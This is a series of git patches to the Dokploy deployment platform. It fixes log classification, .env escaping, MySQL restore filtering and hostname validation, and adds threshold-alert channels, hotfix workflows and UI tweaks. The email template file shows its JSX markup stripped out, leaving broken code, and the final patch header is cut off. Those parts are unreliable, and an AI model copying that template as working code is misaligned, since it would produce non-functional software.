+ expect(getLogType("error: none of the configured nodes are available").type).toBe(
+ "error",
+ );
+ expect(getLogType("error: nil pointer dereference").type).toBe("error");
+ expect(getLogType("request failed: 0 bytes received").type).toBe("error");
});
test("keeps statusCode-based classification", () => {
diff --git a/apps/dokploy/components/dashboard/docker/logs/utils.ts b/apps/dokploy/components/dashboard/docker/logs/utils.ts
index 1624a3828..2973b78b7 100644
--- a/apps/dokploy/components/dashboard/docker/logs/utils.ts
+++ b/apps/dokploy/components/dashboard/docker/logs/utils.ts
@@ -99,9 +99,13 @@ export const getLogType = (message: string): LogStyle => {
// Key/value pairs that explicitly report a non-error (e.g. "error: none",
// "failed: false") must not trigger the error keyword patterns below
- const nonErrorKeyValues =
- /\b(?:error|err|errors|failed|failure|failures)s?\s*[:=]\s*(?:none|null|nil|false|0|no|-|""|'')(?=[\s,;.)\]]|$)/gi;
- const errorScope = lowerMessage.replace(nonErrorKeyValues, "");
+ const nonErrorColonPairs =
+ /\b(?:error|err|errors|failed|failure|failures)\s*:\s*(?:none|null|nil|false|0|no|-|""|'')(?=[,;.)\]]|$)/gi;
+ const nonErrorLogfmtPairs =
+ /\b(?:error|err|errors|failed|failure|failures)\s*=\s*(?:none|null|nil|false|0|no|-|""|'')(?=[\s,;.)\]]|$)/gi;
+ const errorScope = lowerMessage
+ .replace(nonErrorColonPairs, "")
+ .replace(nonErrorLogfmtPairs, "");
if (
/(?:^|\s)(?:error|err):?\s/i.test(errorScope) ||
From 9f1ba37e13879c8f8533048ef739a812bfa9c9ee Mon Sep 17 00:00:00 2001
From: "autofix-ci[bot]" <114827586+autofix-ci[bot]@users.noreply.github.com>
Date: Mon, 3 Aug 2026 10:24:29 +0000
Subject: [PATCH 050/419] [autofix.ci] apply automated fixes
---
apps/dokploy/__test__/logs/log-classification.test.ts | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/apps/dokploy/__test__/logs/log-classification.test.ts b/apps/dokploy/__test__/logs/log-classification.test.ts
index d97d76a29..edb6b9e51 100644
--- a/apps/dokploy/__test__/logs/log-classification.test.ts
+++ b/apps/dokploy/__test__/logs/log-classification.test.ts
@@ -29,9 +29,9 @@ test("does not classify explicit non-error key/values as error (#4538)", () => {
test("keeps errors whose value merely starts with a no-error word", () => {
expect(getLogType("connect failed: no route to host").type).toBe("error");
expect(getLogType("connection failed: no such host").type).toBe("error");
- expect(getLogType("error: none of the configured nodes are available").type).toBe(
- "error",
- );
+ expect(
+ getLogType("error: none of the configured nodes are available").type,
+ ).toBe("error");
expect(getLogType("error: nil pointer dereference").type).toBe("error");
expect(getLogType("request failed: 0 bytes received").type).toBe("error");
});
From ff39cb51e6b1af7a645be0fea9717ffeb4382d93 Mon Sep 17 00:00:00 2001
From: Narciso
Date: Mon, 3 Aug 2026 17:57:02 -0400
Subject: [PATCH 051/419] fix: escape env values written to the Compose .env
file so $, #, and quotes survive literally
---
.../compose/env-file-literals.test.ts | 96 +++++++++++++++++++
.../env-file-literals-dockerfile.test.ts | 43 +++++++++
packages/server/src/utils/builders/compose.ts | 4 +-
packages/server/src/utils/docker/utils.ts | 21 ++++
4 files changed, 162 insertions(+), 2 deletions(-)
create mode 100644 apps/dokploy/__test__/compose/env-file-literals.test.ts
create mode 100644 apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts
diff --git a/apps/dokploy/__test__/compose/env-file-literals.test.ts b/apps/dokploy/__test__/compose/env-file-literals.test.ts
new file mode 100644
index 000000000..2dbb7fa4e
--- /dev/null
+++ b/apps/dokploy/__test__/compose/env-file-literals.test.ts
@@ -0,0 +1,96 @@
+import { execFileSync } from "node:child_process";
+import { mkdirSync, rmSync, writeFileSync } from "node:fs";
+import { join } from "node:path";
+import { getCreateEnvFileCommand } from "@dokploy/server/utils/builders/compose";
+import { afterEach, describe, expect, it } from "vitest";
+
+// Regression coverage for https://github.com/Dokploy/dokploy/issues/4694 —
+// values must survive Docker Compose's own `.env` parsing, not just base64 decode.
+const appName = `env-file-literals-${process.pid}`;
+const projectPath = join(process.cwd(), ".docker", "compose", appName);
+const codePath = join(projectPath, "code");
+
+afterEach(() => {
+ try {
+ execFileSync("docker", ["compose", "down", "--remove-orphans"], {
+ cwd: codePath,
+ stdio: "ignore",
+ });
+ } catch {
+ // Project may not have been created (e.g. an earlier assertion failed).
+ }
+ rmSync(projectPath, { force: true, recursive: true });
+});
+
+const cases: Record = {
+ PASSWORD: "pa$$word",
+ SPECIAL: '!"#$%&/()=?',
+ NESTED_JSON: '{"nested":{"a":1}}',
+ MAIL_PASSWORD: "abc#de",
+ TRAILING_BACKSLASH: "trailing\\",
+ QUOTE_INSIDE: 'she said "hi"',
+ APOSTROPHE: "it's a test",
+ UNICODE: "héllo wörld 日本語 🚀",
+ MULTILINE_PEM: "-----BEGIN KEY-----\nabc123\n-----END KEY-----",
+};
+
+// How each value must be typed in the UI so the (unchanged) dotenv input
+// parser resolves it to the raw string in `cases` above.
+const inputEncoding: Record = {
+ PASSWORD: "pa$$word",
+ SPECIAL: `'!"#$%&/()=?'`,
+ NESTED_JSON: '{"nested":{"a":1}}',
+ MAIL_PASSWORD: `"abc#de"`,
+ TRAILING_BACKSLASH: "trailing\\",
+ QUOTE_INSIDE: 'she said "hi"',
+ APOSTROPHE: "it's a test",
+ UNICODE: "héllo wörld 日本語 🚀",
+ MULTILINE_PEM: '"-----BEGIN KEY-----\nabc123\n-----END KEY-----"',
+};
+
+describe("getCreateEnvFileCommand", () => {
+ it("writes special environment values that Docker Compose reads back literally", () => {
+ mkdirSync(codePath, { recursive: true });
+
+ const serviceEnv = Object.entries(inputEncoding)
+ .map(([key, value]) => `${key}=${value}`)
+ .join("\n");
+
+ const command = getCreateEnvFileCommand({
+ appName,
+ composePath: "docker-compose.yml",
+ env: serviceEnv,
+ randomize: false,
+ suffix: "",
+ serverId: null,
+ environment: { project: { env: "" }, env: "" },
+ } as Parameters[0]);
+
+ execFileSync("bash", ["-c", command]);
+
+ const composeFile = `services:\n test:\n image: busybox\n environment:\n${Object.keys(
+ cases,
+ )
+ .map((key) => ` - ${key}=\${${key}}`)
+ .join("\n")}\n`;
+ writeFileSync(join(codePath, "docker-compose.yml"), composeFile);
+
+ const dumpScript = `for k in ${Object.keys(cases).join(" ")}; do printf '%s\\0' "$k"; eval "printf '%s\\0' \\"\\$$k\\""; done`;
+
+ const out = execFileSync(
+ "docker",
+ ["compose", "run", "--rm", "-T", "test", "sh", "-c", dumpScript],
+ { cwd: codePath, encoding: "utf8" },
+ );
+
+ const parts = out.split("\0");
+ const actual: Record = {};
+ for (let i = 0; i < parts.length - 1; i += 2) {
+ actual[parts[i] as string] = parts[i + 1] as string;
+ }
+
+ for (const [key, value] of Object.entries(cases)) {
+ expect(actual[key], key).toBe(value);
+ }
+ }, 60000);
+});
diff --git a/apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts b/apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts
new file mode 100644
index 000000000..4ce0f5ded
--- /dev/null
+++ b/apps/dokploy/__test__/deploy/env-file-literals-dockerfile.test.ts
@@ -0,0 +1,43 @@
+import { execFileSync } from "node:child_process";
+import { mkdirSync, readFileSync, rmSync } from "node:fs";
+import { join } from "node:path";
+import { createEnvFileCommand } from "@dokploy/server/utils/builders/utils";
+import { parse } from "dotenv";
+import { afterEach, describe, expect, it } from "vitest";
+
+// Unlike compose's .env, this one is read by the app's own build tooling
+// (generic dotenv, e.g. Next.js/Vite) — must stay unquoted, not Compose-escaped.
+const appName = `env-file-literals-dockerfile-${process.pid}`;
+const projectPath = join(process.cwd(), ".docker", "compose", appName);
+const codePath = join(projectPath, "code");
+const dockerFilePath = join(codePath, "Dockerfile");
+
+afterEach(() => rmSync(projectPath, { force: true, recursive: true }));
+
+const cases: Record = {
+ PASSWORD: "pa$$word",
+ NESTED_JSON: '{"nested":{"a":1}}',
+ QUOTE_INSIDE: 'she said "hi"',
+ BACKSLASH: "back\\slash",
+ UNICODE: "héllo wörld 日本語 🚀",
+};
+
+describe("createEnvFileCommand", () => {
+ it("writes special environment values that a generic dotenv parser reads back literally", () => {
+ mkdirSync(codePath, { recursive: true });
+
+ const serviceEnv = Object.entries(cases)
+ .map(([key, value]) => `${key}=${value}`)
+ .join("\n");
+
+ const command = createEnvFileCommand(dockerFilePath, serviceEnv, "", "");
+ execFileSync("bash", ["-c", command]);
+
+ const written = readFileSync(join(codePath, ".env"), "utf8");
+ const parsed = parse(written);
+
+ for (const [key, value] of Object.entries(cases)) {
+ expect(parsed[key], key).toBe(value);
+ }
+ });
+});
diff --git a/packages/server/src/utils/builders/compose.ts b/packages/server/src/utils/builders/compose.ts
index e5643074e..1694a48ed 100644
--- a/packages/server/src/utils/builders/compose.ts
+++ b/packages/server/src/utils/builders/compose.ts
@@ -7,7 +7,7 @@ import { writeDomainsToCompose } from "../docker/domain";
import {
encodeBase64,
getEnvironmentVariablesObject,
- prepareEnvironmentVariables,
+ prepareEnvironmentVariablesForFile,
} from "../docker/utils";
export type ComposeNested = InferResultType<
@@ -127,7 +127,7 @@ export const getCreateEnvFileCommand = (compose: ComposeNested) => {
envContent += `\nCOMPOSE_PREFIX=${compose.suffix}`;
}
- const envFileContent = prepareEnvironmentVariables(
+ const envFileContent = prepareEnvironmentVariablesForFile(
envContent,
compose.environment.project.env,
compose.environment.env,
diff --git a/packages/server/src/utils/docker/utils.ts b/packages/server/src/utils/docker/utils.ts
index 6e9adb5d5..4d632d7e7 100644
--- a/packages/server/src/utils/docker/utils.ts
+++ b/packages/server/src/utils/docker/utils.ts
@@ -465,6 +465,27 @@ export const prepareEnvironmentVariablesForShell = (
return envVars.map((env) => quote([env]));
};
+export const prepareEnvironmentVariablesForFile = (
+ serviceEnv: string | null,
+ projectEnv?: string | null,
+ environmentEnv?: string | null,
+): string[] => {
+ const envVars = prepareEnvironmentVariables(
+ serviceEnv,
+ projectEnv,
+ environmentEnv,
+ );
+
+ return envVars.map((pair) => {
+ const [key, value] = parseEnvironmentKeyValuePair(pair);
+ const escapedValue = value
+ .replace(/\\/g, "\\\\")
+ .replace(/"/g, '\\"')
+ .replace(/\$/g, "\\$");
+ return `${key}="${escapedValue}"`;
+ });
+};
+
export const parseEnvironmentKeyValuePair = (
pair: string,
): [string, string] => {
From 2505c347bc9cbccc071f120a1bb5f4923d434c5e Mon Sep 17 00:00:00 2001
From: Mauricio Siu
Date: Tue, 4 Aug 2026 11:34:08 -0600
Subject: [PATCH 052/419] fix(restore): drop USE/CREATE DATABASE statements so
mysql/mariadb restores target the selected database
---
.../backups/restore-use-statement.test.ts | 57 +++++++++++++++++++
packages/server/src/utils/restore/utils.ts | 8 ++-
2 files changed, 64 insertions(+), 1 deletion(-)
create mode 100644 apps/dokploy/__test__/backups/restore-use-statement.test.ts
diff --git a/apps/dokploy/__test__/backups/restore-use-statement.test.ts b/apps/dokploy/__test__/backups/restore-use-statement.test.ts
new file mode 100644
index 000000000..51b0ce904
--- /dev/null
+++ b/apps/dokploy/__test__/backups/restore-use-statement.test.ts
@@ -0,0 +1,57 @@
+import { execSync } from "node:child_process";
+import {
+ getRestoreCommand,
+ stripDatabaseSwitchCommand,
+} from "@dokploy/server/utils/restore/utils";
+import { describe, expect, it } from "vitest";
+
+const filter = (input: string) =>
+ execSync(stripDatabaseSwitchCommand, {
+ input,
+ shell: "/bin/bash",
+ }).toString();
+
+describe("restore drops database-switch statements (mysql/mariadb)", () => {
+ const dump = [
+ "-- MariaDB dump",
+ "CREATE DATABASE /*!32312 IF NOT EXISTS*/ `production_db`;",
+ "USE `production_db`;",
+ "use production_db;",
+ "DROP TABLE IF EXISTS `users`;",
+ "CREATE TABLE `users` (`id` int NOT NULL);",
+ "INSERT INTO `users` VALUES (1),(2);",
+ "INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
+ ].join("\n");
+
+ it("removes USE and CREATE DATABASE lines but keeps everything else", () => {
+ const result = filter(dump);
+ expect(result).not.toContain("USE `production_db`");
+ expect(result).not.toContain("use production_db");
+ expect(result).not.toContain("CREATE DATABASE /*!32312");
+ expect(result).toContain("DROP TABLE IF EXISTS `users`;");
+ expect(result).toContain("CREATE TABLE `users` (`id` int NOT NULL);");
+ expect(result).toContain("INSERT INTO `users` VALUES (1),(2);");
+ expect(result).toContain(
+ "INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
+ );
+ });
+
+ it("is wired into mysql and mariadb restore pipelines only", () => {
+ const base = {
+ appName: "my-app",
+ restoreType: "database" as const,
+ credentials: {
+ database: "dev_db",
+ databaseUser: "u",
+ databasePassword: "p",
+ },
+ rcloneCommand: "rclone cat ':s3:bucket/file.sql.gz' | gunzip",
+ };
+ for (const type of ["mysql", "mariadb"] as const) {
+ const cmd = getRestoreCommand({ ...base, type });
+ expect(cmd).toContain(`gunzip | ${stripDatabaseSwitchCommand} | docker`);
+ }
+ const pgCmd = getRestoreCommand({ ...base, type: "postgres" });
+ expect(pgCmd).not.toContain(stripDatabaseSwitchCommand);
+ });
+});
diff --git a/packages/server/src/utils/restore/utils.ts b/packages/server/src/utils/restore/utils.ts
index dd2934430..c232b6956 100644
--- a/packages/server/src/utils/restore/utils.ts
+++ b/packages/server/src/utils/restore/utils.ts
@@ -79,6 +79,10 @@ const generateRestoreCommand = (
}
};
+// Dumps taken with `--databases` carry `USE`/`CREATE DATABASE` statements that
+// would redirect the restore away from the database selected in the dialog.
+export const stripDatabaseSwitchCommand = `grep -viE '^[[:space:]]*(use|create[[:space:]]+database)[[:space:]]'`;
+
const getMongoSpecificCommand = (
rcloneCommand: string,
restoreCommand: string,
@@ -125,7 +129,9 @@ export const getRestoreCommand = ({
const restoreCommand = generateRestoreCommand(type, credentials);
let cmd = `CONTAINER_ID=$(${containerSearch})`;
- if (type !== "mongo") {
+ if (type === "mysql" || type === "mariadb") {
+ cmd += ` && ${rcloneCommand} | ${stripDatabaseSwitchCommand} | ${restoreCommand}`;
+ } else if (type !== "mongo") {
cmd += ` && ${rcloneCommand} | ${restoreCommand}`;
} else {
cmd += ` && ${getMongoSpecificCommand(rcloneCommand, restoreCommand, backupFile || "")}`;
From 3638c7b35ba3c1b4a63e8a8c28fcd24509bc5da0 Mon Sep 17 00:00:00 2001
From: Mauricio Siu
Date: Tue, 4 Aug 2026 11:39:32 -0600
Subject: [PATCH 053/419] fix(notifications): send server threshold alerts
through email, resend, gotify and ntfy channels
---
.../src/emails/emails/server-threshold.tsx | 91 +++++++++++++++++++
.../utils/notifications/server-threshold.ts | 71 +++++++++++++++
2 files changed, 162 insertions(+)
create mode 100644 packages/server/src/emails/emails/server-threshold.tsx
diff --git a/packages/server/src/emails/emails/server-threshold.tsx b/packages/server/src/emails/emails/server-threshold.tsx
new file mode 100644
index 000000000..9a12f2296
--- /dev/null
+++ b/packages/server/src/emails/emails/server-threshold.tsx
@@ -0,0 +1,91 @@
+import {
+ Body,
+ Container,
+ Head,
+ Heading,
+ Html,
+ Img,
+ Preview,
+ Section,
+ Tailwind,
+ Text,
+} from "@react-email/components";
+import { emailTailwindConfig } from "../tailwind-config";
+
+export type TemplateProps = {
+ serverName: string;
+ type: "CPU" | "Memory";
+ value: string;
+ threshold: string;
+ message: string;
+ date: string;
+};
+
+export const ServerThresholdEmail = ({
+ serverName = "my-server",
+ type = "CPU",
+ value = "95.00",
+ threshold = "90.00",
+ message = "Resource usage exceeded the configured threshold",
+ date = "2023-05-01T00:00:00.000Z",
+}: TemplateProps) => {
+ const previewText = `Server ${type} alert for ${serverName} ⚠️`;
+ return (
+
+ {previewText}
+
+
+
+
+
+
+
+
+
+ ⚠️ Server {type} alert for {serverName}
+
+
+ Hello,
+
+
+ The {type} usage on {serverName} exceeded the
+ configured threshold.
+
+
+ Details:
+
+ Server Name: {serverName}
+
+
+ Type: {type}
+
+
+ Current Value: {value}%
+
+
+ Threshold: {threshold}%
+
+
+ Date: {date}
+
+
+
+
+
+
+
+ );
+};
+
+export default ServerThresholdEmail;
diff --git a/packages/server/src/utils/notifications/server-threshold.ts b/packages/server/src/utils/notifications/server-threshold.ts
index bcabf2cc3..2c1ad8902 100644
--- a/packages/server/src/utils/notifications/server-threshold.ts
+++ b/packages/server/src/utils/notifications/server-threshold.ts
@@ -1,12 +1,18 @@
+import { render } from "@react-email/components";
import { and, eq } from "drizzle-orm";
import { db } from "../../db";
import { notifications } from "../../db/schema";
+import ServerThresholdEmail from "../../emails/emails/server-threshold";
import {
sendCustomNotification,
sendDiscordNotification,
+ sendEmailNotification,
+ sendGotifyNotification,
sendLarkNotification,
sendMattermostNotification,
+ sendNtfyNotification,
sendPushoverNotification,
+ sendResendNotification,
sendSlackNotification,
sendTeamsNotification,
sendTelegramNotification,
@@ -39,6 +45,9 @@ export const sendServerThresholdNotifications = async (
discord: true,
telegram: true,
slack: true,
+ resend: true,
+ gotify: true,
+ ntfy: true,
mattermost: true,
custom: true,
lark: true,
@@ -52,9 +61,13 @@ export const sendServerThresholdNotifications = async (
for (const notification of notificationList) {
const {
+ email,
discord,
telegram,
slack,
+ resend,
+ gotify,
+ ntfy,
mattermost,
custom,
lark,
@@ -63,6 +76,64 @@ export const sendServerThresholdNotifications = async (
} = notification;
try {
+ if (email || resend) {
+ const template = await render(
+ ServerThresholdEmail({
+ serverName: payload.ServerName,
+ type: payload.Type,
+ value: payload.Value.toFixed(2),
+ threshold: payload.Threshold.toFixed(2),
+ message: payload.Message,
+ date: date.toLocaleString(),
+ }),
+ );
+
+ if (email) {
+ await sendEmailNotification(
+ email,
+ `Server ${payload.Type} alert for ${payload.ServerName}`,
+ template,
+ );
+ }
+
+ if (resend) {
+ await sendResendNotification(
+ resend,
+ `Server ${payload.Type} alert for ${payload.ServerName}`,
+ template,
+ );
+ }
+ }
+
+ if (gotify) {
+ const decorate = (decoration: string, text: string) =>
+ `${gotify.decoration ? decoration : ""} ${text}\n`;
+
+ await sendGotifyNotification(
+ gotify,
+ decorate("⚠️", `Server ${payload.Type} Alert`),
+ `${decorate("🏷️", `Server: ${payload.ServerName}`)}` +
+ `${decorate("📊", `Current Value: ${payload.Value.toFixed(2)}%`)}` +
+ `${decorate("⚠️", `Threshold: ${payload.Threshold.toFixed(2)}%`)}` +
+ `${decorate("📜", `Message: ${payload.Message}`)}` +
+ `${decorate("🕒", `Date: ${date.toLocaleString()}`)}`,
+ );
+ }
+
+ if (ntfy) {
+ await sendNtfyNotification(
+ ntfy,
+ `Server ${payload.Type} Alert`,
+ "warning",
+ "",
+ `🏷️Server: ${payload.ServerName}\n` +
+ `📊Current Value: ${payload.Value.toFixed(2)}%\n` +
+ `⚠️Threshold: ${payload.Threshold.toFixed(2)}%\n` +
+ `📜Message: ${payload.Message}\n` +
+ `🕒Date: ${date.toLocaleString()}`,
+ );
+ }
+
if (discord) {
const decorate = (decoration: string, text: string) =>
`${discord.decoration ? decoration : ""} ${text}`.trim();
From 5d231bf3e3ce27dbb337c1fab7628cf03450b6ce Mon Sep 17 00:00:00 2001
From: Narciso
Date: Tue, 4 Aug 2026 17:38:13 -0400
Subject: [PATCH 054/419] fix(domain): allow single-label hostnames without a
TLD
---
apps/dokploy/__test__/utils/hostname-validation.test.ts | 4 +++-
packages/server/src/utils/hostname-validation.ts | 4 ++--
2 files changed, 5 insertions(+), 3 deletions(-)
diff --git a/apps/dokploy/__test__/utils/hostname-validation.test.ts b/apps/dokploy/__test__/utils/hostname-validation.test.ts
index c0e734282..4dac477da 100644
--- a/apps/dokploy/__test__/utils/hostname-validation.test.ts
+++ b/apps/dokploy/__test__/utils/hostname-validation.test.ts
@@ -9,6 +9,9 @@ describe("VALID_HOSTNAME_REGEX", () => {
"a.b.c.example.co",
"xn--80ak6aa92e.com",
"123.example.com",
+ "example",
+ "dokploy-server",
+ "localhost",
])("accepts valid hostname %s", (host) => {
expect(VALID_HOSTNAME_REGEX.test(host)).toBe(true);
});
@@ -17,7 +20,6 @@ describe("VALID_HOSTNAME_REGEX", () => {
"bbn_client.example.com",
"-example.com",
"example-.com",
- "example",
"exa mple.com",
"example..com",
"",
diff --git a/packages/server/src/utils/hostname-validation.ts b/packages/server/src/utils/hostname-validation.ts
index be3407e5e..bc5aae7b6 100644
--- a/packages/server/src/utils/hostname-validation.ts
+++ b/packages/server/src/utils/hostname-validation.ts
@@ -1,8 +1,8 @@
// Valid hostname per RFC 1123: labels of letters, digits and hyphens
-// (no leading/trailing hyphen), separated by dots. Underscores are rejected
+// (no leading/trailing hyphen), optionally separated by dots. Underscores are rejected
// because Let's Encrypt refuses to issue certificates for them.
export const VALID_HOSTNAME_REGEX =
- /^(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?$/;
+ /^(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)*[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?$/;
export const INVALID_HOSTNAME_MESSAGE =
"Invalid domain name. Use only letters, numbers, hyphens and dots (e.g. example.com). Underscores are not allowed.";
From 2f8af90da4c319dabf0358577bafb929ddcb52ee Mon Sep 17 00:00:00 2001
From: Mauricio Siu
Date: Wed, 5 Aug 2026 23:34:01 -0600
Subject: [PATCH 055/419] feat(ci): add hotfix cherry-pick and release
workflows
---
.github/workflows/hotfix-cherry-pick.yml | 34 ++++++++++++++++++++++++
.github/workflows/hotfix-release.yml | 28 +++++++++++++++++++
2 files changed, 62 insertions(+)
create mode 100644 .github/workflows/hotfix-cherry-pick.yml
create mode 100644 .github/workflows/hotfix-release.yml
diff --git a/.github/workflows/hotfix-cherry-pick.yml b/.github/workflows/hotfix-cherry-pick.yml
new file mode 100644
index 000000000..75acee7fb
--- /dev/null
+++ b/.github/workflows/hotfix-cherry-pick.yml
@@ -0,0 +1,34 @@
+name: Hotfix Cherry-Pick
+
+on:
+ pull_request_target:
+ types: [closed, labeled]
+
+concurrency:
+ group: hotfix-to-main
+ cancel-in-progress: false
+
+jobs:
+ cherry-pick:
+ if: github.event.pull_request.merged == true && contains(github.event.pull_request.labels.*.name, 'hotfix')
+ runs-on: ubuntu-latest
+ permissions:
+ contents: write
+ steps:
+ - name: Checkout main
+ uses: actions/checkout@v4
+ with:
+ ref: main
+ fetch-depth: 0
+
+ - name: Cherry-pick fix to main
+ run: |
+ git config user.name "Dokploy Bot"
+ git config user.email "bot@dokploy.com"
+ SHA="${{ github.event.pull_request.merge_commit_sha }}"
+ if [ "$(git rev-list --parents -n1 "$SHA" | wc -w)" -gt 2 ]; then
+ git cherry-pick -x -m 1 "$SHA"
+ else
+ git cherry-pick -x "$SHA"
+ fi
+ git push origin main
diff --git a/.github/workflows/hotfix-release.yml b/.github/workflows/hotfix-release.yml
new file mode 100644
index 000000000..7e473b3d2
--- /dev/null
+++ b/.github/workflows/hotfix-release.yml
@@ -0,0 +1,28 @@
+name: Hotfix Release
+
+on:
+ workflow_dispatch:
+
+concurrency:
+ group: hotfix-to-main
+ cancel-in-progress: false
+
+jobs:
+ release:
+ runs-on: ubuntu-latest
+ steps:
+ - name: Checkout main
+ uses: actions/checkout@v4
+ with:
+ ref: main
+ token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
+
+ - name: Bump patch version and push
+ run: |
+ git config user.name "Dokploy Bot"
+ git config user.email "bot@dokploy.com"
+ CURRENT=$(node -p "require('./apps/dokploy/package.json').version")
+ NEW=$(echo "$CURRENT" | awk -F. -v OFS=. '{$NF++; print}')
+ sed -i "s/\"version\": \"$CURRENT\"/\"version\": \"$NEW\"/" apps/dokploy/package.json
+ git commit -am "chore: release ${NEW}"
+ git push origin main
From 982f4d70f70c7ec1db54c3be52263da7b1fc3e47 Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Wed, 22 Jul 2026 00:12:53 -0600
Subject: [PATCH 056/419] Merge pull request #4890 from SteadEXE/canary
fix(ui): add cursor pointer style for buttons
(cherry picked from commit 0fc75840d22c459e7cb7ff65d55bbb647d8d2154)
---
apps/dokploy/styles/globals.css | 6 ++++++
1 file changed, 6 insertions(+)
diff --git a/apps/dokploy/styles/globals.css b/apps/dokploy/styles/globals.css
index 50c516bd1..d212474c7 100644
--- a/apps/dokploy/styles/globals.css
+++ b/apps/dokploy/styles/globals.css
@@ -269,6 +269,12 @@
@apply bg-background text-foreground;
}
+ /* Cursor pointer on buttons */
+ button:not([disabled]),
+ [role="button"]:not([disabled]) {
+ cursor: pointer;
+ }
+
/* Custom scrollbar styling */
::-webkit-scrollbar {
width: 0.3125rem;
From b024c9c2fd6ec363e321dd8c4b39d7ca418b5936 Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Wed, 22 Jul 2026 14:33:42 -0600
Subject: [PATCH 057/419] Merge pull request #4626 from
veksen/veksen/textarea-resets-while-editing
fix: prevent environment form from resetting while editing
(cherry picked from commit 73e4fdd757da90fb1fe347a92b92237e6712f98d)
---
.../components/dashboard/application/environment/show.tsx | 7 +++++--
1 file changed, 5 insertions(+), 2 deletions(-)
diff --git a/apps/dokploy/components/dashboard/application/environment/show.tsx b/apps/dokploy/components/dashboard/application/environment/show.tsx
index 909cf5287..378a871ad 100644
--- a/apps/dokploy/components/dashboard/application/environment/show.tsx
+++ b/apps/dokploy/components/dashboard/application/environment/show.tsx
@@ -60,14 +60,16 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
const currentBuildArgs = form.watch("buildArgs");
const currentBuildSecrets = form.watch("buildSecrets");
const currentCreateEnvFile = form.watch("createEnvFile");
+ const { isDirty } = form.formState;
const hasChanges =
currentEnv !== (data?.env || "") ||
currentBuildArgs !== (data?.buildArgs || "") ||
currentBuildSecrets !== (data?.buildSecrets || "") ||
currentCreateEnvFile !== (data?.createEnvFile ?? true);
+ // Skip reset while editing so background refetches don't wipe edits
useEffect(() => {
- if (data) {
+ if (data && !isDirty) {
form.reset({
env: data.env || "",
buildArgs: data.buildArgs || "",
@@ -75,7 +77,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
createEnvFile: data.createEnvFile ?? true,
});
}
- }, [data, form]);
+ }, [data, isDirty, form]);
const onSubmit = async (formData: EnvironmentSchema) => {
mutateAsync({
@@ -87,6 +89,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
})
.then(async () => {
toast.success("Environments Added");
+ form.reset(formData);
await refetch();
})
.catch(() => {
From 6e84f39a9f4603e0949eb38662121a70afabc8df Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Tue, 28 Jul 2026 14:09:42 -0600
Subject: [PATCH 058/419] Merge pull request #4929 from
Dokploy/fix/remove-buttons-not-persisting
fix(ui): make interactive icons inside badges clickable again
(cherry picked from commit 425d478a0b8d8201098b3f8404f9e9c340c767b6)
---
apps/dokploy/components/ui/badge.tsx | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/apps/dokploy/components/ui/badge.tsx b/apps/dokploy/components/ui/badge.tsx
index bcd0ffe05..ef7e697dd 100644
--- a/apps/dokploy/components/ui/badge.tsx
+++ b/apps/dokploy/components/ui/badge.tsx
@@ -5,7 +5,7 @@ import type * as React from "react";
import { cn } from "@/lib/utils";
const badgeVariants = cva(
- "group/badge inline-flex w-fit shrink-0 items-center justify-center gap-1 overflow-hidden rounded-4xl border border-transparent px-2.5 py-0.5 text-xs font-medium whitespace-nowrap transition-all focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50 has-data-[icon=inline-end]:pr-1.5 has-data-[icon=inline-start]:pl-1.5 aria-invalid:border-destructive aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 [&>svg]:pointer-events-none [&>svg]:size-3!",
+ "group/badge inline-flex w-fit shrink-0 items-center justify-center gap-1 overflow-hidden rounded-4xl border border-transparent px-2.5 py-0.5 text-xs font-medium whitespace-nowrap transition-all focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50 has-data-[icon=inline-end]:pr-1.5 has-data-[icon=inline-start]:pl-1.5 aria-invalid:border-destructive aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 [&>svg:not(.cursor-pointer)]:pointer-events-none [&>svg]:size-3!",
{
variants: {
variant: {
From c6607f3a198b393576f1892ba222297c62d54a2c Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Tue, 28 Jul 2026 15:13:42 -0600
Subject: [PATCH 059/419] Merge pull request #4924 from
dmtrTm/fix/rollback-query-arg-limit
fix: avoid postgres 100-argument limit in findRollbackById
(cherry picked from commit 069939e8f99a33b0a10b1e8cd2236756acea0568)
---
packages/server/src/services/rollbacks.ts | 14 +-------------
1 file changed, 1 insertion(+), 13 deletions(-)
diff --git a/packages/server/src/services/rollbacks.ts b/packages/server/src/services/rollbacks.ts
index 97fa4b1c5..cc93d3354 100644
--- a/packages/server/src/services/rollbacks.ts
+++ b/packages/server/src/services/rollbacks.ts
@@ -105,19 +105,7 @@ export const findRollbackById = async (rollbackId: string) => {
const result = await db.query.rollbacks.findFirst({
where: eq(rollbacks.rollbackId, rollbackId),
with: {
- deployment: {
- with: {
- application: {
- with: {
- environment: {
- with: {
- project: true,
- },
- },
- },
- },
- },
- },
+ deployment: true,
},
});
From 43229c89da14e962adf7a0c165791088ce24dbaf Mon Sep 17 00:00:00 2001
From: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Date: Tue, 28 Jul 2026 15:22:18 -0600
Subject: [PATCH 060/419] Merge pull request #4931 from
